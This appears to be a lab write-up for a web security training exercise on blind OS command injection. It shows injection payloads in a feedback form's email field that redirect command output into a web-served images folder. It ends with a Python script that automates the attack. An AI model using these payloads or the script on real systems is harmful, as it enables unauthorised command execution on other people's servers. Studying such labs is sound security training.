# 3. Blind OS command injection with output redirection

Lets open the vulnerable lab:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FV0ygEknYuNXXKH2PD2BR%2FPasted%20image%2020241214102234.png?alt=media&#x26;token=4c286011-f5ed-4da0-bee9-503144148ad7" alt=""><figcaption></figcaption></figure>

Move around:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2Fhl0ydWo50Iz25cpKXkBt%2FPasted%20image%2020241214102328.png?alt=media&#x26;token=9711d0c4-ada8-4e77-83c5-4fa792fac9d6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2Flj3xk6l0V1mucUvuKQQ3%2FPasted%20image%2020241214102345.png?alt=media&#x26;token=9770c813-8d50-4c6c-880c-b93eedfcca07" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FhlBXP5Xp5QghJqIBazYs%2FPasted%20image%2020241214102419.png?alt=media&#x26;token=5ad842d8-4c72-4d04-9dca-a5f2f44877a6" alt=""><figcaption></figcaption></figure>

We have this post request and those parameters, lets test those parameters to see if we have blind command injection:

```payload
||sleep+5||
```

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FlaRoJGjDEKZ7ETQM1VQB%2FPasted%20image%2020241214102554.png?alt=media&#x26;token=bb754160-660e-4342-9f19-7948f891f3c1" alt=""><figcaption></figcaption></figure>

As we can see the email parameter is vulnerable, lets redirect whoami command to the directory mentioned in the objective above:

```payload
||whoami+>+/var/www/images/whoami.txt||
```

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FSbLEeLbgnBcr6kNWAY8y%2FPasted%20image%2020241214102719.png?alt=media&#x26;token=d113a8b1-5e55-40ba-b2b0-fb58234f13b0" alt=""><figcaption></figcaption></figure>

Lets go back to enumerate the website:

Lets try to open the images in a new tab:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FRvbIcabBw4jTT9YK3Wmp%2FPasted%20image%2020241214102749.png?alt=media&#x26;token=55b54429-1a66-4f59-b7fc-456a16ca704a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2FVbmyZWkgGlWyPgPbRM2s%2FPasted%20image%2020241214102758.png?alt=media&#x26;token=9c0da661-8e5b-4816-b476-20a85d9f6312" alt=""><figcaption></figcaption></figure>

As we can see maybe it fetches the photos from the directory we redirected the whoami command to, lets try:

<figure><img src="https://1100854798-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F94YmDHMJbD21F4uOcvHm%2Fuploads%2F7vcSgz6lp4E6z6jQXj0P%2FPasted%20image%2020241214102842.png?alt=media&#x26;token=b078bec8-c131-40c3-878b-19a3eba93c0b" alt=""><figcaption></figcaption></figure>

As we can see we retrieved the output.

Solve it using a `python3` script:

```python
import requests  
import os  
import sys  
import re  
  
proxies = {  
    "http": "http://127.0.0.1:8080",  
    "https": "http://127.0.0.1:8080"  
}  
  
session = requests.session()  
  
  
def CommandInjection():  
    print("[*] Get CSRF Token.")  
    csrf = re.findall(r'name="csrf" value="(.+?)"', session.get(url=url + "feedback").text)  
    print("[*] Perform Command Injection.")  
    headers = {"Content-Type": "application/x-www-form-urlencoded"}  
    data = f"csrf={csrf[0]}&name=test&email=test@test.com||whoami+>+/var/www/images/whoami.txt||&subject=test&message=test"  
    session.post(url=url + "feedback/submit", headers=headers, data=data)  
    print(session.get(url=url + "image?filename=whoami.txt").text)  
  
  
if __name__ == "__main__":  
    if len(sys.argv) != 2:  
        script_name = os.path.basename(__file__)  
        print(f"[-] Usage: python {script_name} http://localhost/")  
        sys.exit(1)  
    url = sys.argv[1]  
    CommandInjection()  
    print("[+] Solved.")
p
```
